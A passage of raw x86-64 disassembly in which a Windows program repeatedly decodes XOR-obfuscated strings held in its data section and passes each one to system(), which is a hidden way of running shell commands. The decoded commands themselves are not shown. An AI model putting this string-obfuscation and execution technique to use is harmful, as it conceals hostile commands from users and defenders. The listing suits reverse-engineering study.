psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0xc0
jl 0x140061ac0
cmp r8d, 0xc2
jge 0x140061c14
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc2
jl 0x140061be0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [r12 + 0x102370]
mov r8d, r14d
lea rcx, [rbp - 0x80]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x20], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx - 0x10], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0xb0]
movzx eax, word [rax + 0xc0]
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x30], xmm1
mov word [rcx + 0x40], ax
cmp r13d, 2
jl 0x140061dfd
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0xc0
jl 0x140061cf0
cmp r8d, 0xc2
jge 0x140061e44
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc2
jl 0x140061e10
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [r12 + 0x102440]
mov r8d, r14d
movzx eax, word [rcx + 0xb0]
lea rdx, [rbp - 0x80]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov word [rdx + 0x30], ax
movzx eax, byte [rcx + 0xb2]
mov byte [rdx + 0x32], al
cmp r13d, 2
jl 0x14006202d
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0xb0
jl 0x140061f20
cmp r8d, 0xb3
jge 0x140062074
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xb3
jl 0x140062040
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [r12 + 0x102500]
mov r8d, r14d
movzx eax, word [rcx + 0xb0]
lea rdx, [rbp - 0x80]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov word [rdx + 0x30], ax
movzx eax, byte [rcx + 0xb2]
mov byte [rdx + 0x32], al
cmp r13d, 2
jl 0x14006225d
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0xb0
jl 0x140062150
cmp r8d, 0xb3
jge 0x1400622a4
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xb3
jl 0x140062270
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1401025c0]
mov r8d, r14d
movups xmm1, xmmword [0x1401025d0]
movzx eax, word [0x140102650]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x1401025e0]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140102600]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x1401025f0]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140102620]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x140102610]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x140102640]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x140102630]
mov word [rbp + 0x10], ax
movzx eax, byte [0x140102652]
movups xmmword [rbp], xmm0
movups xmmword [rbp - 0x10], xmm1
mov byte [rbp + 0x12], al
cmp r13d, 2
jl 0x14006247d
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x90
jl 0x140062370
cmp r8d, 0x93
jge 0x1400624c4
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x93
jl 0x140062490
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140102660]
mov r8d, r14d
movups xmm1, xmmword [0x140102670]
mov eax, dword [0x1401026f0]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140102680]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x1401026a0]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140102690]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x1401026c0]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x1401026b0]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x1401026e0]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x1401026d0]
movups xmmword [rbp], xmm0
movups xmmword [rbp - 0x10], xmm1
mov dword [rbp + 0x10], eax
cmp r13d, 2
jl 0x14006268d
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x90
jl 0x140062580
cmp r8d, 0x94
jge 0x1400626d4
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x94
jl 0x1400626a0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140102700]
mov r8d, r14d
movups xmm1, xmmword [0x140102710]
movzx eax, word [0x140102790]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140102720]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140102740]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140102730]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [str._t3:0_rDOF6]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x140102750]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x140102780]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x140102770]
movups xmmword [rbp], xmm0
movups xmmword [rbp - 0x10], xmm1
mov word [rbp + 0x10], ax
cmp r13d, 2
jl 0x14006289d
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x90
jl 0x140062790
cmp r8d, 0x92
jge 0x1400628e4
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x92
jl 0x1400628b0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1401027a0]
movups xmm1, xmmword [0x1401027b0]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x1401027c0]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x1401027e0]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x1401027d0]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140102800]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x1401027f0]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x140102820]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x140102810]
movsd qword [rbp], xmm0
movups xmmword [rbp - 0x10], xmm1
cmp r13d, 2
jl 0x140062aa4
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
mov edx, r14d
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov r8d, dword [rbp + 0x300]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x88
jl 0x1400629a0
jmp 0x140062ae4
lea r9, [rbp - 0x80]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x88
jl 0x140062ab0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140102830]
mov r8d, r14d
movups xmm1, xmmword [0x140102840]
mov eax, dword [0x1401028c0]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140102850]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140102870]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140102860]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140102890]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x140102880]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x1401028b0]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x1401028a0]
movups xmmword [rbp], xmm0
movups xmmword [rbp - 0x10], xmm1
mov dword [rbp + 0x10], eax
cmp r13d, 2
jl 0x140062cad
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x90
jl 0x140062ba0
cmp r8d, 0x94
jge 0x140062cf4
movsxd rax, r8d
